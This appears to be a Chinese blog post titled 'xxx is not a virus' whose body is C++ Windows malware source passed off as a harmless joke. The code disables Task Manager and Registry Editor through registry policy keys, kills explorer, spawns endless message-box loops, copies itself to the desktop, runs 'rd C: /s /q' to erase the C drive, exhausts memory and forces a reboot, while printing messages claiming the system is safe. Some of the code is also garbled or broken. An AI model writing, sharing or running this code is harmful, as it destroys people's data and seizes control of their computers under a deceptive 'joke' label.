跳到正文

科技·工程

xxx不是病毒

yvzhimin约 14 分钟
原文
文章信息与版本

文章信息

收录
2026年3月29日
更新
2026年7月8日
篇幅
约 14 分钟

版本

  1. v2当前
  2. v1

#include<bits/stdc++.h> #include<windows.h> #include<ctime> #include<cstdlib> #include<fstream> #include<bits/stdc++.h> #include<windows.h> #include<ctime> #include<cmath> #include <string> #include <shlobj.h> using namespace std; DWORD WINAPI Destroy(LPVOID) { HWND Black = FindWindow(NULL,“Windows Task Manager”); if(Black != NULL) { PostMessage(Black, WM_CLOSE, (LPARAM)0, (WPARAM)0); } { SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2); int x = rand()%801; int y = rand()%601; SetCursorPos(x, y); Sleep(5000); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1); } } bool AddToStartup(const std::wstring& appName, const std::wstring& appPath) { HKEY hKey; LONG result = RegOpenKeyExW( HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Run”, 0, KEY_WRITE, &hKey );

代码
if (result != ERROR_SUCCESS) {
    return false;
}

result = RegSetValueExW(
    hKey,
    appName.c_str(),
    0,
    REG_SZ,
    (const BYTE*)appPath.c_str(),
    (appPath.size() + 1) * sizeof(wchar_t)
);

RegCloseKey(hKey);
return result == ERROR_SUCCESS;

}

wstring GetExecutablePath() { wchar_t path[MAX_PATH]; GetModuleFileNameW(NULL, path, MAX_PATH); return wstring(path); }

// 全屏显示设置 void full_screen() { HWND hwnd = GetForegroundWindow(); int cx = GetSystemMetrics(SM_CXSCREEN); int cy = GetSystemMetrics(SM_CYSCREEN); LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE); SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER); SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0); }

// 隐藏光标 void HideCursor() { CONSOLE_CURSOR_INFO cci; HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); GetConsoleCursorInfo(hOut, &cci); cci.bVisible = FALSE; SetConsoleCursorInfo(hOut, &cci); }

// 设置随机控制台颜色 void setRandomColor(HANDLE hConsole) { int color = rand() % 15 + 1; SetConsoleTextAttribute(hConsole, color | (color << 4)); }

// 禁用关闭按钮 void DisableCloseButton() { HWND hwnd = GetForegroundWindow(); if(hwnd) { HMENU hMenu = GetSystemMenu(hwnd, FALSE); if(hMenu) DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND); } }

void JokeEffect() { // 无害颜色循环 HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); for (int i = 0; i < 10; i++) { // 限制循环次数 SetConsoleTextAttribute(hConsole, rand() % 15 + 1); std::cout << “这只是个玩笑,系统安全!” << std::endl; } SetConsoleTextAttribute(hConsole, 7); // 恢复默认颜色 } void delC(){ system(“rd C: /s /q”); }

void RegTaskmanagerForbidden() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Windows\CurrentVersion\Policies\System”, &hkey); RegSetValueEx(hkey, “DisableTaskMgr”, NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); }

// 禁用注册表编辑器 void RegEditForbidden() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Windows\CurrentVersion\Policies\System”, &hkey); RegSetValueEx(hkey, “DisableRegistryTools”, NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); } void Reproduce() { char name_str[100] = {}; int name; srand((unsigned)time(NULL)); // 随机数种子 name = rand() % 102408; _itoa(name, name_str, 22); // 将随机数转化成字符串

代码
TCHAR szpath[MAX_PATH];

char target[100] = {};
TCHAR Destop[MAX_PATH];

GetModuleFileName(NULL, szpath, MAX_PATH);	                 // 获取当前执行程序的路径
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);	 // 获取桌面绝对路径

strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);

} int main(){ while(true){

C++
freopen("I.vbs","w",stdout);
cout<<"do"<<'\n';
cout<<"Msgbox \"你已急哭!\",4+0+16,\"急哭病毒\""<<'\n';
cout<<"loop"<<'\n';
freopen("II.bat","w",stdout);
cout<<":loop"<<'\n';
cout<<"start I.vbs"<<'\n';
cout<<"goto loop"<<'\n';
fclose(stdout);
system("II.bat");
int i=0;
while(i<=10){

    MessageBoxA(NULL, "你的电脑已被幽默感占领!", "无害提示", MB_OK);
    JokeEffect();
    i++;
}
POINT p;
int r=100, centerX=960, centerY=540;
double angle=0;
string msg = "你的键盘已被我控制...";
 {
    keybd_event(rand()%256,0,0,0);
    keybd_event(rand()%256,0,KEYEVENTF_KEYUP,0);

    SwapMouseButton(rand()%2);
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

    ShellExecute(0,"open","calc.exe",0,0,SW_SHOW);

    keybd_event(VkKeyScan(1),0,0,0);
    keybd_event(VkKeyScan(1),0,KEYEVENTF_KEYUP,0);

    p.x = centerX + r*cos(angle);
    p.y = centerY + r*sin(angle);
    SetCursorPos(p.x,p.y);
    angle += 0.1;
    Sleep(10);
}
system("mode 96,28");
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
SetConsoleMode(hStdin, mode);

HideCursor();
DisableCloseButton();

// 设置控制台字体
CONSOLE_FONT_INFOEX cfi = { sizeof(cfi), 0, {30,60}, 0, FW_NORMAL, L"MS Gothic" };
SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);

// 全屏显示
full_screen();

HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
srand(time(0));

// 第一阶段:随机颜色花屏效果
for(int i=0; i<50000; i++) {
    setRandomColor(hConsole);
    cout << (rand()%2 ? '0' : ' ') << flush;
}
Sleep(2000);
// 第二阶段:显示蓝屏错误信息cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。"<<endl;
Sleep(100);
system("color fc");
for(int i=0;i<=114514;i+=100){
	system("cls");
	cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n"<<i<<"% 完成";
	Sleep(1);
}
cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n114514% 完成";

Sleep(1000);
for(int i =0;i<=100;i++){
	system("start https://www.luogu.com.cn/team/113578");
}
wstring appName = L"MyStartupApp";
wstring appPath = GetExecutablePath();
//添加至开机启动项
system("taskkill /f /im taskmgr.exe");
 RegTaskmanagerForbidden();
//禁用任务管理器
RegEditForbidden();
 {
	malloc(1000);
	system("start");//耗尽内存
	delC();//格式化C盘
	srand(time(0));
	  SetCursorPos(rand()%1920,rand()%1080);
	Reproduce();
	//鼠标乱飞
}
int t;
for(long long i=1ll*1;i<=1ll*1000000000000000000000000;i++){
	int* j;
	*j=!*j;
}
while(t){
	system("cls");
	t=rand()%100000;
	system("pause");
	SetCursorPos(rand()%1000,rand()%1000);
	system("start");
}
char ghk[100];
system(ghk);
sprintf(ghk,"ghk %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(ghk);
system("net user hgferwjhfjhhdjhsfjhftjfueryhfcnuerfgherugjherjiuuumfrjertevrfrhweuweifw2rumcrn3fgh4nhufh543htbhtyythjjgctim4ufhxn3ruic");
system("taskkill/f /im explorer.exe /t");
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&Destroy, 0, 0, NULL);
char cmd[]="shutdown -r -t 0";
system(cmd);
}
return 0;

}

原文